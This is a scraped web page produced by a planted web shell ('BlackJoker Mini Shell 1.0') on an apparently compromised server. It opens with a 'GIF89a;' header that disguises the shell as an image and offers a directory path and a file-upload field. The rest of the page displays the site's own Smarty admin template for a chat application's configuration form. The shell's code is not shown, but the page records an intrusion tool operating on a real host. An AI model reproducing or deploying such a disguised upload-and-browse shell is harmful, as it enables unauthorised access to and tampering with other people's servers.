GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/chat/templates/admin/
Upload File :
Current File : /home/serb/public_html/chat/templates/admin/cnf_other.tpl

<h3>{$langs.t16}</h3>
<FORM action="cnf_config.php" method="post" enctype="multipart/form-data">

<table border="0" width="700" height="100%">

<!--error process -->

{if $errMsg != ''}
	<TR>
		<TD class="errorMsg" valign='middle'  align="center" colspan="2">
			{$errMsg}
		</TD>
	</TR>
{/if}
<!--end error handling-->


<!--representation values-->
{foreach name=fields from=$fields item=val key=key}
	<tr>


		<td style="width:200px;">
			{$val.title}
			<input type="Hidden" name="type_{$val.id}" value="{$val.type}">
			<input type="Hidden" name="name_{$val.id}" value="{$val.title}">
			<input type="Hidden" name="field_{$val.id}" value="{$val.level_0}">
		</td>


		<td width="50">
		<div style="white-space: nowrap;height:25px;">
			{if $val.type == 'integer'}
					<input type="Text" size="5"  name="fld_{$val.id}" value="{$val.value}">
			{elseif $val.type == 'string'}
					<input type="Text" size="40" name="fld_{$val.id}" value="{$val.value}">
			{elseif $val.type == 'combo'}
				<select name="fld_{$val.id}">
					{assign var="array" value=$value[$val.level_0]}
					{foreach name=name from=$array item=val1 key=key1}
						{assign var="v" value=$val1}
						{if $val.level_0 == 'defaultTheme'}
							<option value="{$val1}"  {if $val1 == $val.value}selected{/if}>{$val1}
						{elseif $val.level_0 == 'defaultSkin'}
							<option value="{$val1.swf_name}"  {if $val1.swf_name == $val.value}selected{/if}>{$val1.name}
						{else}
							<option value={$key1}  {if $key1 == $val.value}selected{/if}>{$val1}
						{/if}
					{/foreach}
				</select>
			{elseif $val.type == 'boolean'}
					<input type="Radio" name="fld_{$val.id}" value="1" {if $val.value } checked {/if} id="yes{$key}"><label for="yes{$key}">{$cnfo_langs.t0}</label>
					<input type="Radio" name="fld_{$val.id}" value="0" {if !$val.value } checked {/if} id="no{$key}"><label for="no{$key}">{$cnfo_langs.t1}</label>

			{/if}
			{if $val.info!='' }
				<a href="#" class="hintanchor" onMouseover="showhint('{$val.info}', this, event, '200px')" >[?]</a>
			{/if}
			</div>
		</td>


			<td align="right" width="5">

			</td>


	</tr>
{/foreach}

	<tr>
		<td colspan="3">&nbsp;

		</td>
	</tr>
	<tr>

		<td colspan="3"align="center">
			<input type="Submit" name="submit" value="{$cnfo_langs.t2}">
		</td>
	</tr>

</table>

<input type="Hidden" name="module" value="{$module}">
</form>

./BlackJoker Mini Shell 1.0